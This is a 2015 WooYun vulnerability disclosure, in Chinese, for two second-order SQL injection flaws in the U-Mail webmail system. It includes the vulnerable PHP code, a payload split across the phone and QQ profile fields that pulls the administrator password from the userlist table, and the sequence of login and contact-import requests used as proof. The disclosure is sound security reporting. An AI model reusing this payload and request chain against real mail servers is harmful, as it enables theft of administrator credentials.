当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098495

漏洞标题:Umail最新版2处二次注入(直接出管理员密码)

相关厂商:Umail

漏洞作者: 玉林嘎

提交时间:2015-02-27 09:03

修复时间:2015-06-02 08:28

公开时间:2015-06-02 08:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-27: 细节已通知厂商并且等待厂商处理中
2015-03-04: 厂商已经确认,细节仅向厂商公开
2015-03-07: 细节向第三方安全合作伙伴开放
2015-04-28: 细节向核心白帽子及相关领域专家公开
2015-05-08: 细节向普通白帽子公开
2015-05-18: 细节向实习白帽子公开
2015-06-02: 细节向公众公开

简要描述:

跟之前的不一样噢

详细说明:

umail最新版本

banben.png


win2003标准安装
2个二次注入都是因为同一个问题造成
1、
漏洞文件:/fast/pab/module/o_contact.php
364-388行

if ( ACTION == "add-search-contact" )
{
$grp = $_POST['grp'];
$type = $_POST['stype'];
$userids = $_POST['userids'];
$user_arr = explode( ",", $userids );
$group_list = explode( ",", $grp );
if ( $type == "oab" || $type == "oabshare" )
{
if ( $user_arr )
{
foreach ( $user_arr as $userid )
{
$user_info = $Mailbox->getUserInfoByID( $userid, "*", 0 );
$data = array(
"user_id" => $user_id,
"fullname" => $user_info['realname'],
"birthday" => $user_info['birthday'],
"pref_email" => $user_info['email'],
"pref_tel" => $user_info['mobil'],
"im_qq" => $user_info['qqmsn'],
"im_msn" => $user_info['qqmsn'],
"updated" => date( "Y-m-d H:i:s" )
);
$contact_id = $PAB->add_contact( $data, 0 );


重要代码

$user_info = $Mailbox->getUserInfoByID( $userid, "*", 0 );
$data = array(
"user_id" => $user_id,
"fullname" => $user_info['realname'],
"birthday" => $user_info['birthday'],
"pref_email" => $user_info['email'],
"pref_tel" => $user_info['mobil'],
"im_qq" => $user_info['qqmsn'],
"im_msn" => $user_info['qqmsn'],
"updated" => date( "Y-m-d H:i:s" )
);
$contact_id = $PAB->add_contact( $data, 0 );


POST进来的$userids 切割赋值给 $user_arr 进入2个if语句 遍历数组 进入getUserInfoByID()函数

public function getUserInfoByID( $_obfuscate_nQNptTJPg, $_obfuscate_tjILu7ZH = "*", $_obfuscate_ySeUHBw = FALSE )
{
$_obfuscate_nQNptTJPg = intval( $_obfuscate_nQNptTJPg );
$_obfuscate_IRFhnYw = "UserID='".$_obfuscate_nQNptTJPg."'";
$_obfuscate_6RYLWQ = $this->getone_info( $_obfuscate_IRFhnYw, $_obfuscate_tjILu7ZH, $_obfuscate_ySeUHBw );
return $_obfuscate_6RYLWQ;
}


查询出赋值给user_info数组 带入 add_contact
这个跟 WooYun: U-Mail邮件系统二次注入2(无需登录,可批量直接获取管理员密码) getMailboxInfo()这个函数很不一样
这个对应的表是 mailuserinfo 里面的字段username 是不可改变的为初始设置的名字
先看下 操作语句

2.png


307 Query	INSERT INTO pab_contact SET `user_id`='',`fullname`='王卫军',`birthday`='0000-00-00',`pref_email`='test@domain.com',`pref_tel`='',`im_qq`='',`im_msn`='',`updated`='2015-02-27 00:23:46'


可以控制的有 pref_tel im_qq im_msn 但其实 im_qq 和 im_msn 值一样的 所以只要 pref_tel im_qq 2个可控

3.png


每个变量都不足于出管理员数据 需要2个同时构造才行
pref_tel 构造成 ',`im_qq`=(select/*
im_qq 构造成 */password from userlist limit 1,1)#
最后语句应该是

270 Query	INSERT INTO pab_contact SET `user_id`='3',`fullname`='王卫军',`birthday`='0000-00-00',`pref_email`='test@domain.com',`pref_tel`='',`im_qq`=(select/*',`im_qq`='*/password from userlist limit 1,1)#',`im_msn`='*/password from userlist limit 1,1)#',`updated`='2015-02-27 00:14:46'


我真机智!

漏洞证明:

漏洞证明:
此处可根据之前漏洞可无需登陆即可操作 此处为表达清楚直接登陆操作
先访问 http://192.168.106.137/webmail/fast/index.php?module=operate&action=login
post:mailbox=test@domain.com&link=?
获取认证
登陆修改

4.png


访问 http://192.168.106.137/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=test
得到userid(此处为3)
在访问 http://192.168.106.137/webmail/fast/pab/index.php?module=operate&action=add-search-contact
post:stype=oab&userids=3 (3为上面操作得到的userid)

5.png


最后查看

6.jpg


7.jpg


成功获取管理密码
2、\client\pab\module\o_contact.php

if ( ACTION == "add-search-contact" )
{
$grp = $_POST['grp'];
$type = $_POST['stype'];
$userids = id_list_filter( $_POST['userids'] );
$user_arr = explode( ",", $userids );
$group_list = explode( ",", $grp );
if ( $type == "oab" || $type == "oabshare" )
{
if ( $user_arr )
{
foreach ( $user_arr as $userid )
{
$user_info = $Mailbox->getUserInfoByID( ( integer )$userid, "*", 0 );
$data = array(
"user_id" => $user_id,
"fullname" => $user_info['realname'],
"birthday" => $user_info['birthday'],
"pref_email" => $user_info['email'],
"pref_tel" => $user_info['mobil'],
"im_qq" => $user_info['qqmsn'],
"im_msn" => $user_info['qqmsn'],
"updated" => date( "Y-m-d H:i:s" )
);
$contact_id = $PAB->add_contact( $data, 0 );


同样的问题 需登陆 此处不证明了吧

修复方案:

你们自己想办法咯

版权声明:转载请注明来源 玉林嘎@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-03-04 08:28

厂商回复:

CNVD未在实例上复现,作为本地实例确认,已经按以往渠道向软件生产厂商通报.

最新状态:

暂无